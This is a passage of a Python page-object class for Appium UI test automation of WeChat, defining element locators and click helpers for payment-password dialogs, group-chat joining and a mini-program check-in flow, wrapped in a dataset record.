text_class_group(self):\n return self.get_text(self.class_group_loc)\n\n add_group_chat_loc = ('xpath', '//*[contains(@text, \"加入该群聊\")]') # 加入该群聊\n\n def element_add_group_chat(self):\n return self.find_element(self.add_group_chat_loc)\n\n reply_8_loc = ('xpath', '//android.widget.Image') # 回复8的banner 回复8->进公众号->点击推送 看到的二维码\n\n def elements_reply_8(self):\n return self.find_elements(self.reply_8_loc)\n\n parent_btn_loc = ('xpath', '//*[contains(@text, \"亲爱的家长：\")]') # 亲爱的家长：\n\n def element_parent_btn(self):\n return self.find_element(self.parent_btn_loc)\n\n info_btn_loc = ('id', 'com.tencent.mm:id/a8q') # 详情\n\n def elements_info_btn(self):\n return self.find_elements(self.info_btn_loc)\n\n def clicks_info_btn(self, n):\n self.clicks(self.info_btn_loc, n)\n\n more_games_btn_loc = ('xpath', '//*[contains(@text, \"更多亲子游戏\")]') # 更多亲子游戏\n\n def click_more_games_btn(self):\n self.click(self.more_games_btn_loc)\n\n look_all_btn_loc = ('xpath', '//*[contains(@text, \"查看全部\")]') # 查看全部\n\n def click_look_all_btn(self):\n self.click(self.look_all_btn_loc)\n\n def element_look_all_btn(self):\n return self.find_elements(self.look_all_btn_loc)\n\n start_fingerprint_buy_loc = ('id', 'com.tencent.mm:id/btp') # 开启指纹支付弹窗文本 开启指纹支付，支付时可通过验证指纹快速完成付款。\n\n def text_start_fingerprint_buy(self):\n return self.get_text(self.start_fingerprint_buy_loc)\n\n no_more_reminder_btn_loc = ('id', 'com.tencent.mm:id/btq') # 不再提醒\n\n def click_no_more_reminder_btn(self):\n self.click(self.no_more_reminder_btn_loc)\n\n cancel_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/azz\" and @text=\"取消\"]') # 取消\n\n def click_cancel_btn(self):\n self.click(self.cancel_btn_loc)\n\n usd_password_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/fg4\" and @text=\"使用密码\"]') # 使用密码\n\n def element_usd_password(self):\n return self.find_element(self.usd_password_loc)\n\n def click_usd_password(self):\n self.click(self.usd_password_loc)\n\n password_error_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/d8x\" and @text=\"支付密码错误，请重试\"]') # 支付密码错误，请重试\n\n def element_password_error(self):\n return self.find_element(self.password_error_loc)\n\n again_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/azz\" and @text=\"重试\"]') # 重试\n\n def click_again_btn(self):\n self.click(self.again_btn_loc)\n\n payment_loc = ('id', 'com.tencent.mm:id/fg3') # 请输入支付密码 文本\n\n def text_payment(self):\n return self.get_text(self.payment_loc)\n\n typewriting_finish_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/z2\" and @text=\"完成\"]') # 输入法上的完成按钮\n\n def element_typewriting_finish_btn(self):\n return self.find_element(self.typewriting_finish_btn_loc)\n\n def click_typewriting_finish_btn(self):\n self.click(self.typewriting_finish_btn_loc)\n\n # 打卡\n\n clock_btn_loc = ('xpath', '//*[contains(@text, \"打卡\")]') # 打卡\n\n def click_clock_btn(self):\n self.click(self.clock_btn_loc)\n\n def element_clock_btn(self):\n return self.find_element(self.clock_btn_loc)\n\n # com.tencent.mm:id/ox\n\n no_clock_btn_loc = ('xpath', '//*[contains(@text, \"你还未开启打卡\")]') # 你还未开启打卡\n\n def element_no_clock_btn(self):\n return self.find_element(self.no_clock_btn_loc)\n\n get_card_btn_loc = ('xpath', '//*[@text=\"获取打卡海报\" and @class=\"android.widget.Button\"]') # 获取打卡海报\n\n def click_get_card_btn(self):\n self.click(self.get_card_btn_loc)\n\n upload_card_btn_loc = ('xpath', '//*[@text=\"上传截图\" and @class=\"android.widget.Button\"]') # 上传截图\n\n def click_upload_card_btn(self):\n self.click(self.upload_card_btn_loc)\n\n again_upload_card_btn_loc = ('xpath', '//*[@text=\"重新上传截图\" and @class=\"android.widget.Button\"]') # 重新上传截图\n\n def click_again_upload_card_btn(self):\n self.click(self.again_upload_card_btn_loc)\n\n save_img_btn_loc = ('xpath', '//*[@text=\"保存图片\" and @class=\"android.widget.Button\"]') # 保存图片\n\n def click_save_img_btn(self):\n self.click(self.save_img_btn_loc)\n\n copy_text_btn_loc = ('xpath', '//*[@text=\"复制发圈文案\" and @class=\"android.widget.Button\"]') # 复制发圈文案\n\n def click_copy_text_btn(self):\n self.click(self.copy_text_btn_loc)\n\n copy_format_btn_loc = ('xpath', '//*[contains(@text, \"发布朋友圈截图规范\")]') # 发布朋友圈截图规范\n\n def element_copy_format_btn(self):\n return self.find_element(self.copy_format_btn_loc)\n\n card_go_btn_loc = ('xpath', '//*[contains(@text, \"关闭小程序，去朋友圈打卡截图\")]') # 关闭小程序，去朋友圈打卡截图\n\n def click_card_go_btn(self):\n self.click(self.card_go_btn_loc)\n\n upload_btn_loc = ('xpath', '//*[@text=\"上传\" and @class=\"android.widget.Button\"]') # 上传\n\n def click_upload_btn(self):\n self.click(self.upload_btn_loc)\n\n today_card_btn_loc = ('xpath', '//*[contains(@text, \"今日已提交打卡\")]') # 今日已提交打卡\n\n def element_today_card_btn(self):\n return self.find_element(self.today_card_btn_loc)\n\n reset_img_btn_loc = ('xpath', '//*[@text=\"重新选择截图\" and @class=\"android.widget.Button\"]') # 重新选择截图\n\n def click_reset_img_btn(self):\n self.click(self.reset_img_btn_loc)\n\n generated_loading_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/cx\" and @text=\"正在生成...\"]') # 正在生成...\n\n def element_generated_loading(self):\n return self.find_element(self.generated_loading_loc)\n\n reminder_btn_loc = ('xpath', '//*[contains(@text, \"温馨提示\")]') # 温馨提示\n\n def element_reminder_btn(self):\n return self.find_element(self.reminder_btn_loc)\n\n page_expired_loc = ('xpath', '//*[contains(@text, \"页面已经过期\")]') # 页面已经过期\n\n def element_page_expired(self):\n return self.find_element(self.page_expired_loc)\n\n x_btn_loc = ('id', 'com.tencent.mm:id/kx')\n\n def click_x_btn(self):\n self.click(self.x_btn_loc)\n",
"step-ids": [
73,
89,
121,
148,
152
]
}
|
[
73,
89,
121,
148,
152
] |
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